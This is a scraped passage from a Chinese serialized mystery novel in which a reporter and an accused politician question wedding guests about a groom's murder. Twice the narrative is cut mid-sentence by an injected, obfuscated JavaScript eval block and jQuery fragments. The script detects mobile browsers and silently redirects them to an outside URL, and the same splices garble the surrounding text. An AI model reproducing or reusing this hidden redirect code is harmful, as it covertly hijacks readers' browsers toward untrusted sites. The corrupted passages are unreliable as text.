于是六月末的时候,瑞贝卡就低调地以女友的身份入住到他在任职州的家里。
而在关于西纳德的丑闻爆发之后,她精神方面的问题就开始暴显现,于是她的法官父亲也就此控诉西纳德的一系列不良行为。
“所以,这封信是怎么送到你手上的?”瑞伊一针见血地问,“在‘那些事’之后报纸上几乎见不到你的踪影了,我敢肯定这期间你并不是很好找到吧?”
西纳德稍稍挑了挑眉:“这是连同婚礼请柬信一同寄到我手上的。那时我正住在我母亲在乡下的地产里,只有几位老友知道那里。”
“你在那之后回信了吗?”瑞伊又乘胜追击地问,西纳德明显对此有些不适,但是在隆德赞同的眼神下他勉为其难地继续回答。
“是的,不过我只写了我会应邀参加婚礼。至于那一封信,我只是将它带在身上——我知道门罗有事情要跟我坦白。”西纳德的眼神又漠然地移到角落。
“所以……这就是警方目前掌握的线索吗?”
瑞伊一边走一边翻看着从隆德办公室传真过来的文件,做了几个月记者以来的经历让她不由得感叹:“有钱有势可真好,办事效率这么高。”
隆德拿到的是警方记录人员现场的案件陈述:
本月11号,阿尔弗雷德·门罗先生被发现死于自己的婚礼前。婚礼工作人员称,在婚礼仪式开始前的一个小时内就没有人再见过他。
尸检报告暂时未出,但估计门罗先生是被人用幕布上的绳子勒住喉咙窒息身亡,估计的死亡时间大概是在距被发现时间前半个小时内。
因为案发时距离正式的婚礼尚早,因此在场除了工作人员和门罗的亲眷的来客就只有议员西纳德·伯恩先生、门罗夫妇好友玛格丽莎·威廉姆斯小姐、理查德·霍尔斯先生、隆德·安德森先生以及报社记者瑞伊纳·夏普小姐、莉莉娅·怀特小姐、老寡妇坎贝尔夫人、艾尔森夫妇;
后三者携带医生以及女仆和莉莉娅小姐一直在院子里闲聊而被排除在案件之外。早上十点十分左右,西纳德·伯恩先生和记者小姐被目击正倒在被害人门罗先生的尸体旁边,目击者有三位仆人、威廉姆斯小姐、霍尔斯先生、乐师约翰·肯德桑先生和艾尔森先生。
现场初步调查发现门罗先生应该是被乐师休息室里帷幕的吊绳勒死的。奥奇菲德庄园的宴会大厅,有个双层帷幕式的结构,将乐台和乐师休息室巧妙地连通。
帷幕由双层厚重的幕布组成,舞台内侧靠休息室的一面双层帷幕不可升降,而乐师休息室里一个开关控制舞台外侧幕布升降。被怀疑用于作案的某一条绳索已断裂,导致舞台外侧幕布也跟着被卸下。
被害人前后脖子上有明显的勒痕,其余地方无明显伤痕。结合现场有一个被摔碎的玻璃杯,能表示被害人曾和某人在案发前发生过激烈的争执。
目前针对以上证人的审讯已经初步完成(隆德没有拿到这一部分的资料),进一步的线索还在勘察之中……
瑞伊草草地把这些看完之后就心不在焉地合上了。她一直觉得有什么事情没有想通,却一时间不知道从何下手——一下子接受的东西太乱太多。
她在此之前还从报纸上了解到有关门罗的人际关系,大概跟这上面提到的证人差不多吻合。
阿尔弗雷德·门罗和西纳德、隆德、理查德、还有西纳德的前未婚妻瑞贝卡和玛格丽莎曾经是经常一起见报的朋友,经
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064679|163060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常出入各种社交圈子,她看过上流社会的老牌八卦杂志曾提到这群年轻人。
只不过那篇报道已经是四年前的了,近年来的报道西纳德几乎都是独自出现,而玛格丽莎和瑞贝卡出现一起出现的次数也很少,门罗和理查德倒是偶尔发现见报,不过只是因为他们的地产比较近。
似乎是她的那片报道引出的丑闻才让他们的名字再次重新出现在一份报纸上,而这次的案件,又让多年轨迹不同的几个人又重新同时见报……
“为什么我们一开始进那个房间的时候没有看到尸体?”瑞伊想,“而幕布掉下来的时候,尸体跟着沉重的幕布出现了。”
不过她最终还是得出了一个大但的猜想:“或许有人一开始把门罗的尸体吊在两块大幕布之间。所以在那之后我们踩掉幕布墙之后尸体跟着一起掉了下来。”
西纳德果一边领着瑞伊走,一边表情沉重地也在思考着什么。他没有回答瑞伊的话。
“那个律师为什么不跟着一起来?”
“隆德也是案件的证人,他如果要帮我的话,要托的关系比我多。剩下的时间里我们只需要逐一拜访案件里那些关键的证人,让他们出庭在他们供述的证词上统一加上隆德安排的细节,再让隆德找的律师趁虚而入我们就能被无罪释放。我们的人手就这么多,你懂了吗?”
“哦哦,我知道。”瑞伊对西纳德那种不耐烦的语气很是不满,嘲讽地用那种天真的语气回道,“这就是你们议员常用的手法。你们想怎么辩护?门罗有可能自杀吗?”
“看看你手上的文件,小姐。有发现绳圈,以及勒痕不是环状的的话那可就普天同庆了。”
瑞伊有些气馁:“所以呢?我们现在要去哪?”
“皇家酒店,卢佩兹小姐现在正在那里。她的大部分资产在英国,在婚礼前她都住在那里。”西纳德打着方向盘,还得空看了眼副驾驶上的瑞伊,“顺便说一下,车后座有药箱和毯子,如果你还没处理好你的伤口的话。”
那是隆德的车,西纳德暂时还没办法跑到现场去把自己的车开出来。瑞伊往后看了一眼,那些东西应该是西纳德在路上买的。
“哦?我要那这些去给谁处理伤口?”瑞伊故意跟他唱反调道,“哦,我知道,你还要顺道去看你那在病院里的前妻是吧?”
西纳德却似乎被她这样的话惹毛了,有些不耐烦地笑道:“老天,我为什么要莫名其妙跟你一起卷进这个什么案件……”
“莫名其妙?明明是你先把我扔出车外,还有,本来会被在幕布后面看见跟死者在一起的是你!”
不过她现在没有心情跟西纳德拌嘴,有一个政治阴谋摆在她面前,她不可能让这个机会在自己眼前溜走:
“所以你只打算在法庭上蒙混过关?如果有人能杀死门罗再陷害你的话,也就是这几个证人了,你为什么不直接综合他们的话把那个人揪出来?我也可以帮你大写一笔?”
西纳德也转过头来看了一眼瑞伊。
“哦,那你可要仔细听好了,侦探小姐。在审判开始前,我们只有24小时。”
“24小时?为什么?”一下子接受的事情太多,导致瑞伊根本没有搞清楚现在的处境,她试图从这些事情中理清思路。
“得了吧,我们的嫌疑程度明显不符合保释条件,当然了,在隆德解决完你的保释之前你还处于非法逃逸状态。”
西纳德这么说着,面不改色地看了一样街道旁边停着的警车,打了方向盘拐弯进入停车场,“在这期间警方要是逮到你,我也说不准会怎么办。”
“哦,好极了,现在我们算是一条绳上的蚂蚱了对吧?”
“是的,还能防止你再写那些报道。”
瑞伊有些鄙夷地看着西纳德,但是他依旧是一副胜券在握的样子,把车停进停车场之后神态自若地朝她笑了笑就动作轻快地下车了。
“得了吧,这个国家的法律机制就是狗屎。没有确凿的证据,只要隆德想出或者找到一些东西,就算我真的这么做了,他们也没办法定罪。在那之后我会有时间好好揪出那个人的,而不是和一个倒霉的记者一起做什么侦探工作。”
“你的对手可不这么想。”瑞伊从车上跳下来,重重地关上门,“好吧,这的确很荒谬,但是,你为什么会——”
“小心!”
一辆银色的汽车突然从旁边冲出来,直直地朝瑞伊他们撞过来,好在西纳德反应迅速拉着瑞伊往旁边靠了些。那辆汽车很快就在停车场里消失了,而他们也没有看见车上的人。
“西纳德。”虽然刚刚的惊险让她愣了好久,但瑞伊还是忍不住稍稍动手推开西纳德的胸口才从愣住了的西纳德怀里挣脱,不过当她再次和西纳德有些迟疑的神情对上的时候,她也开始犹豫,“这是意外吗?”
“我不认识那辆车。”西纳德的脸上开始出现一丝惊恐,“看来情况越来越不对劲了。”
刚才他怀里的淡木质香水的味道现在才慢慢涌上瑞伊的鼻尖,她突然觉得胸腔里的心每一下跳动都沉重闷响。
5. 世界二
004乔利弗·卢佩兹的证言
“哦……嗨!希德,你怎么在……”卢佩兹小姐疲倦的脸在看到西纳德出现在门后惊了一下,随后她精神紧张地快速把门打开,“警察刚走,快进来吧。”
“呃……这位是?”
“她是警方派来监视我的实习警探。”西纳德给瑞伊留了个门,不过瑞伊进门的眼神就在质问他为什么不跟卢佩兹小姐说实话。
“你知道,我只有24小时的时间。”西纳德说这句话的时候同时扫过了两个女人的脸。
“哦,希德……相信我,我跟所有人都说了凶手不可能是你。”
瑞伊用一种奇怪的眼神看着西纳德娴熟地在沙发上和卢佩兹小姐坐下。
卢佩兹小姐是标准的英格兰美人,身材匀称,温婉文静,只不过她现在看起来被案件搞得身心俱疲,在换掉婚纱的时候盘好的头发被勾得散乱也没有打理。
“我知道,琼斯(乔利弗的昵称)。”
“哦,发生了这样大的事我也不知道怎么办——一时间都……乱套了,我不知道怎么说……”琼斯脸上的神情一阵接着一阵,但毫无悬念的是,她显得疲倦而且慌张,“希德,我不知道怎么跟别人说,但是……”
“我发现了这个。”琼斯从上衣口袋里拿出了一封信笺,“我想,这应该是给你的。”
西纳德简单地瞟了一眼那封信,就顺手交给了一旁的瑞伊。瑞伊接过之后也简单地看了一眼信上的内容:
抱歉,邀请你去的那个房间里发生了这样的事,这并非我的本意。谁能料到居然发生了这样的事——你居然杀了他?真的是这样吗,西纳德?
这在瑞伊看来完全就是某种挑衅,不过西纳德看起来毫不在意。
“你知道的,警方。”西纳德朝瑞伊看了一眼之后,接着问,“你是在哪里发现这封信的?”
“哦……我也不知道是什么时候被放到我包里的。”琼斯小姐声音细弱地回答,像个做错事的女学生那样低下头,“可能就是在,大家都跑出去看情况,并且等警察来的那段时间……”
“哦,没事的,琼斯。一定是有人放在你包里的。”西纳德向琼斯解释了此次前来的目的和需要她帮忙的请求,而之后琼斯也十分乐意地答应了。
“他们都问了你什么?”
“他们先是问了我最后见到门罗的时间。我想,是一天前的下午。”
“一天前?”
“是的……他说在婚礼前我们最好先不要见面。而事实上,我的确在今天准备的时候一直都没有见到他。我太紧张了,一直在注意着自己该怎么做……”
“这不怪你,琼斯。你一直在跟伴娘们准备,然后才在婚礼前一个小时得知这个消息的,是吗?”
“是的……哦,希德,我该怎么办……”
“不,好姑娘,这不是你的错。”
“哦对了,琼斯,我这次来还有一件事要问你。”
“这封信,是跟着请柬一起交到我的手上的。我想你应该知道这是否出自门罗先生。”
琼斯拿起那张信封看了一眼。
“我想是的……”她的表情看起来十分不自然,又有点悲伤过度的样子,“这是我的信纸……哦,我想是他跟我在一起的时候随手写的。”
“你知道他想叫我去乐师休息室说什么吗?”
“不……我不知道……我想他不常用那个房间,在会客厅后面走廊的角落里,又时常没有人打扫。他说那只是一间杂物间。”
琼斯的脸看起来很红润,不自觉向下瞥的眼神似乎有些愧疚:“我今天才从警察那里知道那是连通宴会厅乐台的,或许他是想给我一个惊喜……哦,阿尔,我不应该跟他吵架……”
“吵架?是在一天前?”瑞伊似乎太过专注下意识在西纳德前面问了出来,这也是她工作努力留下的职业病。
“呃……我想是的……可是,那只不过是一次小吵架,我们都对婚礼的事情太紧张了。”
琼斯在抬起眼看见西纳德身后的瑞伊时突然止住了:“只是一些小事情而已,而且我们分开之后,那天晚上他就打电话来说他依旧很爱我,无论如何都要举行这场婚礼……”
“是的。我想只是一些误会。”西纳德也识趣地安慰道,“这些你和警察说了吗?”
“我想没有……”
“哦对了,希德,警方说你一直在那个走廊里?”琼斯像是突然想起来什么事情一样这么问西纳德,“你跟警方说你看到什么人了吗?”
“不,我没有看到任何人。”西纳德说这话的时候不自觉斜眼看了眼瑞伊,“我在大厅出现的时间也不长,应该没什么人会专门逮着我跟着我在走廊里徘徊。”
“哦……不,没什么……我相信你要是看到什么人一定会跟警方说的。”
“是这样的。”
西纳德在这之后又问了琼斯审问的事,但遗憾的是,琼斯一直在忙于自己婚礼前夕的准备,跟工作人员和伴娘们在一起,所以警方也相信她对此事一无所知,没有问什么实质性的东西。
“为什么不跟卢佩兹小姐说实话?”
“在上法庭前隆德会和他们再联系的,你知道的,我们这群人向来不喜欢记者,这只会让琼斯更紧张。”西纳德意味深长地看了眼瑞伊,“我不想为了介绍你而把事情搞得复杂。”
又是我?瑞伊像个叛逆的小学生那样皱了皱鼻子。到目前为止西纳德对她那篇报道的冷嘲热讽接连不断,她甚至都来不及思考这些。
“不是所有女人在这个时候都需要你小心翼翼的绅士举动来呵护的——琼斯小姐就不需要。”瑞伊回想起琼斯抬眼看她的眼神,虽然很疲惫,但是并不胆怯慌乱,“我是记者也没什么大不了的。”
“不管怎么样,琼斯都没有机会和动机杀死门罗。”西纳德看出来瑞伊在想什么,所以在走出酒店大门的时候这么说。
“为什么?你不觉得她看起来很奇怪吗?”瑞伊问,“她看起来……很不自然。”
“大家都是第一次死老公谁又能比谁自然呢。”西纳德的步伐很轻快,语速也是,“琼斯在三个月前才来到美国,在此之前我和隆德都只是知道她的姓名。婚礼前她所有的女伴都是她的伴娘,她没有机会杀死门罗。”
“如果是个男人呢?”
西纳德看了一眼瑞伊:“你是说,有琼斯有个美国奸夫,跟她里应外合在婚礼那天把门罗杀了,再写信陷害我?”
“也不是不可能。”
西纳德嗤笑了一声,然后快活地大步向前走。
“你知道吗?如果有这么一个人,在门罗时刻带着她到处走的这三个月里是她最佳的偷情对象,而且有足够的动机和嫌疑杀死门罗的话,这个人现在就在你身边。”
瑞伊奇怪地看了眼西纳德。不过想来,西纳德在三个月里就能跟琼斯相处得这样亲密,相信西纳德不是凶手这一点也很奇怪。
“那霍尔斯呢?你们之前都是朋友或者远亲吧?”瑞伊忽然想起来他在进场前碰到的那位步履匆匆的人。
西纳德未免对自己的魅力太过自信了,又或者说他坚信霍尔斯不会跟琼斯勾搭上——不过她现在不打算跟西纳德交换这个信息。
“看来你查的报纸确实有些内容。”
“当然。我仍然在我的工作岗位上。”
西纳德轻快地笑了笑,为瑞伊打开了车门:“请吧,搭档。”
“那接下来,我们要去拜访谁?”
“玛格丽莎。”
为什么不是理查德?瑞伊心想。
005玛格丽莎·威廉姆斯小姐的证言
电影女星玛格丽莎的经济状况并不十分优渥,相反,她和大部分工作的妇女一样常年居住在一栋上了年纪的公寓里。
瑞伊在电梯里就能感受到这座公寓的简陋,为此她还偷偷看了好几眼西纳德,西纳德也只是不明所以地挑了挑眉。
像西纳德这样的人不可能让自己的情妇住在这种地方,更何况挪走了那么一大笔钱,玛格丽莎显然也没有花掉。
那这笔钱到底被花在了哪?
难道西纳德真是被陷害的?
现在整件事情都发生得十分突然,瑞伊也只是听从西纳德的解决方法,对于她想调查的内幕,西纳德也只是搪塞了过去。
他以为是在带着瑞伊完成自己的脱罪,顺便看住瑞伊不要让她乱写报道,而瑞伊却得偿所愿地待在他身边可以靠近这个复杂的政治阴谋,或许还能知道之前丑闻的内幕。
“我还是要找机会让西纳德把之前的事情说清楚。”瑞伊想,“不管这听起来有多愚蠢,我想至少之后能还他一个清白。”
“嘿!”
在瑞伊还在想事情的时候,西纳德突然向前一步挡在瑞伊前面,伸手将瑞伊揽到拐角后面,然后在反应过来之后,缓慢地走向拐角另一边从电梯里走出来的女人。瑞伊则机敏地趁机在中间的走廊里躲起来。
“哦!希德!”玛格丽莎在看见西纳德的时候明显是震惊大于后来的喜悦。
不过她在拥抱了西纳德之后看起来在那种气喘吁吁的紧张感中缓和了过来。
“哦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064680|163060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,真抱歉希德……你不知道我有多想见你。我还以为你再也不想见到我了,我跑了大半个州都没有找到你。天哪,我真的很抱歉……”
不得不说,玛格丽莎·威廉姆斯小姐在现实中惊艳得多。她有种跳脱荧幕角色的高挑气质,是位身形高大的女人,而且瑞伊还注意到她甚至没穿高跟鞋,站在西纳德旁边也不甚逊色。
只不过她和琼斯小姐一样显得十分疲惫,头发和耳环都有些乱了,口红也微微糊出了唇线,甚至连参加婚礼的纱裙都没有换下来。
她见到西纳德的反应也明显比琼斯小姐更紧张局促。
“我也很想你,丽莎。”西纳德也礼貌性地回应,“我想你也刚从门罗的婚礼现场回来吧?”
“哦,是的,警方一直缠着我们问这问那……发生这种事真是太让人意想不到了……你见到琼斯了吗?可怜的孩子,她吓坏了。”
丽莎和琼斯不是同一种人,但是无疑她们见到西纳德的时候都有一种面露难色的感觉,她试图在一连串的话中偷偷向西纳德身后看去。
“虽然她不怎么爱门罗先生……可是这毕竟是她的婚礼,现在你又被怀疑是凶手……天哪……都乱套了,凶手一定是外面闯进来的某个家伙。”
瑞伊则躲在一旁以一种奇怪的目光看了眼四周。
“是的,我们刚刚去看过她了。”而西纳德也因为担心她看到身后的瑞伊,轻轻拍着丽莎的肩膀试图让她平复下来。
“我们?”
“哦……我和隆德。你知道的,警方怀疑我有嫌疑。隆德为此需要准备一些事情。”
西纳德简单地向玛格丽莎解释了他的计划,而玛格丽莎也当然很自然地表示乐意帮忙。
“我还以为是理查德,你们四个之前是那么好的朋友,这都怪我——这对你来说太不公平了。我知道,希德,绝不会是你。警方和公众总是大惊小怪。”丽莎打开了公寓的门,“进来说吧。”
“不,不,老实说我的时间不多,我们就在这里说吧。”西纳德警觉了一下,“你说理查德,他最近怎么样,你见到他了吗——我是说,在婚礼上。”
“我们是一起到的,不过在那之后我就没见过他了,我一直在院子和花园闲逛。”丽莎有些紧张地说,“你见过理查德了?”
“不,还没有。”
在那之后,西纳德照样问了玛格丽莎关于警方的询问,而她被审问的内容也和琼斯大差不差。
她甚至从一周前开始就没有见过门罗。
她一开始和理查德在快到九点半的时候一起来到现场,分开之后她独自一人在院子和花园里分别待了一会儿,都有证人能证明她在那。
并且离开的时间也不长,在这期间她只在九点四十二的时候为了去厕所离开过大约七八分钟,并且还在路上遇见了理查德跟他一起回到院子中的。
当然,她也没有看见任何形迹可疑的人。
“我想之后隆德找的律师会联系你的,谢谢你了,玛格丽莎。”西纳德在照例告别之后看着她进了公寓里才转身去找瑞伊。
不过在他走到原先瑞伊藏身的拐角处时,却发现她不在那。
“见鬼……怎么回事……”西纳德又转身看了一眼另一边的走廊,转身的时候才发现瑞伊突然出现在眼前。
“你吓死我了!”西纳德那副还算健壮的身躯突然在瑞伊面前顿了一下。
瑞伊摆出一副严肃的表情,小声说:“有人偷看。”
西纳德也警觉地往后一瞥。
“就在刚刚,我觉得有什么家伙从墙角后面探出头来偷偷看着你和威廉姆斯小姐。但是我跟上去之后那个人就进了电梯走了。”瑞伊接着说。
“你看清楚那个人了吗?”
“没有。或许我看错了。”瑞伊突然抬起头来问,“玛格丽莎有向警方说了些什么吗?”
“不,她只向警方说了自己的行动轨迹,除此之外就没有了。”西纳德简单地向瑞伊复述了一遍玛格丽莎的话,与此同时又按了下楼的电梯。
在等电梯的时候,瑞伊突然问:“为什么玛格丽莎说门罗和卢佩兹小姐并不是很相爱?”
“或许是我们这种人的特性,你不能总是相信是爱导致的婚姻。”西纳德从容地说。
“那是什么?”瑞伊继续追问。
“钱。和利益。”西纳德平静地答道,看着电梯上的显示屏的数字慢慢变大,“好吧,据我所知,门罗会跟乔利弗小姐结婚完全就是为了钱。他的另一处资产利尔顿葡萄园最近正在被变卖。”
“为什么?”
6. 世界二
“我不知道,或许是为了之后更好地在英国跟他的妻子生活。琼斯小姐在结婚之后能陆续地接管手上的大笔遗产。”西纳德耸耸肩,显得不以为意,“这种事情可不少见。更何况他本来就不怎么会手上的财产。”
“你觉得玛格丽莎小姐有五点八英尺(大概一米七八)吗?”瑞伊在进电梯的时候突然问。
西纳德想了想这个滑稽又突兀的问题:“我想没有,大概比这少一点。”
“你有多高?”瑞伊又问。她看着电梯间里自己和西纳德模糊的倒影,突然觉得这个问题有些多余,而且自取其辱。西纳德看起来至少有六英尺(一米八五)。
“这是个足以让我思考上一阵子的问题。”西纳德则显出议员独有的滑头,对于自己的信息一概不作正面回答,“我想我们接下来就要去拜访一下理查德了。”
理查德·霍尔斯,瑞伊对这个名字很敏感。在后续关于西纳德的丑闻中一直提到这个“老朋友兼受害者”。
“对,霍尔斯。他们是一起来的婚礼,威廉姆斯小姐却没有一直跟他在一起。这期间他一定是去做了什么事情。”
“你似乎对他很感兴趣。”电梯开了,西纳德很自然地长腿一迈就先瑞伊一步出去了。
“他记恨你,他公司账户里的钱因为你品行不端而不翼而飞。你一开始就知道他是最可能害你的,就像你一开始觉得那封信是你前妻想在父亲的管控之下跟你偷偷见面一样。”
西纳德对瑞伊惊人的判断稍稍侧目,居高临下显露出一副“没想到你还有点本事”的表情。
“不完全是这样。本来我也以为是瑞贝卡和理查德,不过,他们没有理由杀死门罗,他们应该杀的是我,而不是杀了门罗然后嫁祸给我。”
西纳德看着一边小碎步跑着跟上来的瑞伊,突然又露出了些笑意。
“具体的等你跟霍尔斯聊完再说吧。”瑞伊说。
“不,这次,应该发挥你作用了。小小的兔子记者。”西纳德很喜欢看瑞伊在他身边,边说一大堆话边愤怒地竞走的样子,这让他觉得这个张牙舞爪过于认真的小记者像只嚼草的小兔子。
“你该不会以为我是有意要跟你玩什么侦探游戏才带着你的吗?“西纳德正了正自己的领带露出一个狡黠的笑容。
不过瑞伊在露出一个不屑又鄙夷的笑之后又突然想到,西纳德居然因为羞愧不敢向老朋友求助,就载着她到处跑,先找了其他两个朋友才好意思提出来,还要装作一副得意自鸣的样子。
看着那张确实恰有其色的帅脸,她突然也觉得好笑,好像抬头看见一只打呼噜的猫。
006理查德·霍尔斯先生的证言
阿尔弗雷德·门罗是个懦弱的男人,和他的未婚妻一样,几乎温顺得像头绵羊。
过早去世的老门罗以及在此之后丢下年幼的他独自远居英国的门罗夫人让他的整个童年都过得阴郁压抑。
即使门罗夫人给他留了一下了两处地产——奥奇菲德和一处葡萄园——也无法掩盖童年在他身上笼罩的阴霾。
小门罗在同龄的公子中显得十分沉默寡言,他不热衷于社交,而是沉迷于文学。他和琼斯小姐的结合也是在朋友的大力撮合下完成的。
但是所有人都会觉得,这两个老钱派家庭中长大的准夫妇在某种程度上十分般配。
“我无法想象有人居然想要门罗的命!”说到这里,理查德·霍尔斯先生就重重地挥了下自己的拳头。他显然是那种易怒的人。
十分钟前,在走进霍尔斯公司的办公楼时,瑞伊突然用手肘捅了捅西纳德。
西纳德停下来,顺着瑞伊呆滞而又严肃的神情往旁边的街道看去。在门口正侧方街道的停车位上,停着一辆银色的汽车……
不过他们都很有默契地沉默着挽着手走向大门。
瑞伊在西纳德的注视下走进了理查德所在公司的大门。他很自然地跟前台说有位小姐要采访理查德先生,而声称自己是某家知名报纸的“夏普先生”。
当然所有人都相信了,几分钟之后瑞伊就被带往理查德的办公室。
理查德·霍尔斯看上去年近三十多,但是直觉告诉瑞伊那可能只是因为他在这家公司上花了太多心血的原因。
他看上去身形高大,跟西纳德不相上下的样子。他已经把今天中午的服饰换掉了,现在只穿着一身低调的灰色西装。
当然,理查德是现场的目击证人之一,他第一时间就认出了瑞伊。
“我没记错的话,今天中午我们在门罗的婚礼上见过吧?记者小姐。”理查德见到瑞伊的第一反应是下意识的紧张,他在与瑞伊打完招呼之后就半靠在自己的办公桌上,扶着桌沿的手暗暗发力。
“是的,先生。我被报社派去报道婚礼细节的——发生那种意外,真是……一场悲剧。”
瑞伊不敢相信自己还会说出这种单词,她看理查德的眼神下意识躲闪,落到了他办公桌上一叠文件上,“警方审讯完我之后时间已经很晚了,我想来询问你一些细节。”
理查德是个谨慎的人,他并没有即刻拒绝瑞伊,即使她看上去显得突兀而不太正派:“所以……你想来问我什么?”
“呃,是这样的理查德先生。”瑞伊太紧张,不过她觉得是时候单刀直入了,“我想知道,案发后警方都问了你什么问题,你又是如何回答的?”
“为什么?”
“我是想说,你经营的这家公司……”
瑞伊有意用那种暧昧莫测的语气来拖住理查德的思考,事实上,她自己也慌得要死,根本不知道自己在讲什么。
“那场事故的现场也有挪用你公司公款的议员在吧——西纳德·伯恩——这对你公司的影响应该很大吧?”
“噢……”一点到西纳德的名字理查德的眉头就顿时舒展了,瞬间他以为自己对瑞伊的意图都一目了然。
“西纳德——他是我的老朋友,我不想在这个时候对他作任何评价。他绝对不可能杀了门罗,我也没有在案发现场见到过他。
而且警方只问了我的行踪,我在大约九点半在花园里见过门罗之后就回到院子里跟坎贝尔夫人交谈,大概十几分钟后婚礼的工作人员称到处都没有门罗先生的踪影,我和一行人才出发去找他,最后……
你知道的,在我们经过大厅舞台的时候听到了你和西纳德的对话,然后一直到警方来之后我都跟一群人待在一块。”
“你在九点半的时候见过门罗?”
“噢,是的。你瞧,门罗是个胆小的人,他被即将举行的婚礼吓坏了——更不用说那天还来了那么多记者——他一直在喝酒,说自己太紧张。
于是我劝他不要再喝酒,就把酒瓶从他手里拿走了,他一定是在那之后又自己一个人躲到乐师休息室喝酒了。”
“在你们大厅里听见我们讲话的时候,舞台的幕布是什么样子的?”
“这个……让我想想……我想是全部合上的,看不到里面的情况,一直到你跟西纳德一起把幕布全都连着踩掉。”理查德回忆着说。
瑞伊突然想起来玛格丽莎的证词:“你离开花园时是九点四十到九点五十之间对吧?”
“是,怎么了?”理查德发现这个年轻的小姐有种魔力,她的神情和问题总是让他情不自禁多说。
“那你有没有见到玛格丽莎·威廉姆斯小姐?”
“她?”理查德明显惊了一下,不过他很快就调整过来。
“哦,当然,当然有——我记得很清楚,她那时正在花园里,我正好经过了她,跟她打了招呼随后一起回到了院子里。她是我的老朋友,最近经济拮据没有自己的车子,路上也是我送她来的。你想还问什么,夏普小姐?”
“不,到此为止了。”瑞伊满意地合上笔记本。
她不打算帮西纳德说出那些请求。
因为估计理查德本身也没有什么证词可以提供的,西纳德在接受审讯的时候她听到他九点四十才到的现场。
她想不在理查德面前把他拖出来正符合他的本意。
直到瑞伊临走前,理查德才又重新叫住了她。
“对了。”他说,“告诉西纳德,我向他问好。”
“好的,霍尔斯先生。”瑞伊能感觉出来,理查德那副欲言又止的神态,他好像想说什么,又似乎在懊悔自己说了什么。
是因为西纳德的缘故吗?
“如果可以的话,我还想问你一件事,霍尔斯先生。”
“嗯,好的。是什么?”
007可疑的隆德
“怎么样?”西纳德看着瑞伊带着笔记从楼上下来。
“霍尔斯先生向你问好。”瑞伊皮笑肉不笑地朝他点点头,接着在前台小姐的注视下双双挽着手离开。
就在瑞伊一边复述理查德的话的时候,他们又不知不觉走到门口刚刚他们发现那辆银色汽车的地方。这次他们都不约而同地看向那个方向。
“嘿!西纳德!”
“隆德,你怎么在这。”
隆德的身影出现在那辆车后面。
“哦,我刚刚来找理查德,他委托我办另一件事。我顺便把你的事情跟他说了。”
“哈,正好,我也还没问。”西纳德又露出他那种自如的微笑。瑞伊也同样在心里暗笑,没想到他单纯地不想见理查德反而有隆德替他说。
“正好,其他人的证词怎么样?这位精明的记者小姐有没有帮你记录下来?”隆德笑眯眯地朝瑞伊稍稍欠身致意。
西纳德简单地描述一遍前面三个小时的事情,随后隆德看了一眼表。
“哦,不错,事情比我想象得要简单许多。”他说,“或许你们可以晚些时候再跟我详细确认那些细节,莫尔律师明天早上才上班。”
瑞伊也注意了一会儿时间,现在是晚上六点半,天色比他们刚刚进理查德办公楼前暗了不少。离案发也才不过七个小时左右,而这群老狐狸已经趁假保释的空隙几乎商量好了对策。
“这是你的车吗?”瑞伊突然指着那辆银色的汽车问。
“不,这是理查德的新车,他最近不怎么开这辆车——你知道的,因为那一大笔公款的事情,老霍尔斯大发雷霆,在跟你的官司胜诉之前他要求霍尔斯承担目前的全部责任——他换掉了之前的车,还被他父亲留在公司处理账务上的事情。”隆德的车暂时借给西纳德了,瑞伊知道这事。
“霍尔斯公司,指的是他父亲的产业?”瑞伊问。
西纳德和隆德同时用那种看待生人的眼神看她:“当然……理查德是家里的次子,就算继承也不会继承他父亲的公司和大部分遗产的,可怜的理查德,他原本的生活就相对不宽裕。”
虽然西纳德不理解瑞伊在想什么,不过他在隆德面前也没说什么。
“哦,隆德先生,是这样的。要不你开你自己的车回事务所吧,这辆车的钥匙能给我们吗——西纳德不太会开你这辆车。”
“哦?”隆德显得很困惑,不过他对西纳德和瑞伊的信任似乎很足,“该不会是你们在我的车上做了什么不好的事情吧?”
“哦,如果我们打算做什么的话,不在你的车上岂不是最好?”瑞伊也露出了一个狡黠的微笑。
“哦,是的,是的。”隆德在为难地看向西纳德之后,慎重地点头。
在西纳德一副僵硬又不为所动的表情下,隆德和瑞伊达成了一致,他们爽快地交换了钥匙。
“你在做什么?”在那之后西纳德很自然地打开副驾驶的门,而瑞伊则在驾驶座窗户外面往里看了一眼才打开车门。
“没什么。”瑞伊只是坐到了驾驶座上,四下检查了一下,稍微调整了一下车座然后发动了汽车。拜访完这几个人,早就已经很晚了,他们现在应该想办法怎么过夜,“去哪里?”
“既然隆德说没问题,那我们可以明天早上再打电话给他。”西纳德显然已经松了一口气,此时坐在副驾驶眼神空洞地看着前方,“随你开心吧,瑞伊小姐,明天中午我们就以嫌疑人的身份再次要回警局了。不过在此之前你不会想让我们饿肚子的吧?”
瑞伊发动了汽车。
“隆德为什么要这么帮你。”瑞伊问。
“什么?”
“隆德,他只不过是你们少年的朋友,他并不是你的私人律师,也并不是刑事案件的律师——他为什么要尽心尽力地帮你找关系从警局里弄出来还帮你找律师?”瑞伊直率地讲出自己心中的想法,“还有其他这一切,他对你也……太好了。”
“为什么,瑞伊小姐?你没有朋友?”西纳德听起来并不在意这一点。
